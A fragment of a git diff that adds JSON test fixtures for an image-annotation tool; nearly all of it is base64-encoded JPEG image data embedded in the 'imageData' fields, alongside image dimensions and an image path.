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", + "imageHeight": 464, + "imageWidth": 500 +} \ No newline at end of file diff --git a/tests/test_files/json/11.json b/tests/test_files/json/11.json new file mode 100644 index 0000000000000000000000000000000000000000..b8ff93050c6dff7d49433021389c5932dd60d16b --- /dev/null +++ b/tests/test_files/json/11.json @@ -0,0 +1,9 @@ +{ + "version": "5.0.1", + "flags": {}, + "shapes": [], + "imagePath": "11.jpg", + "imageData": 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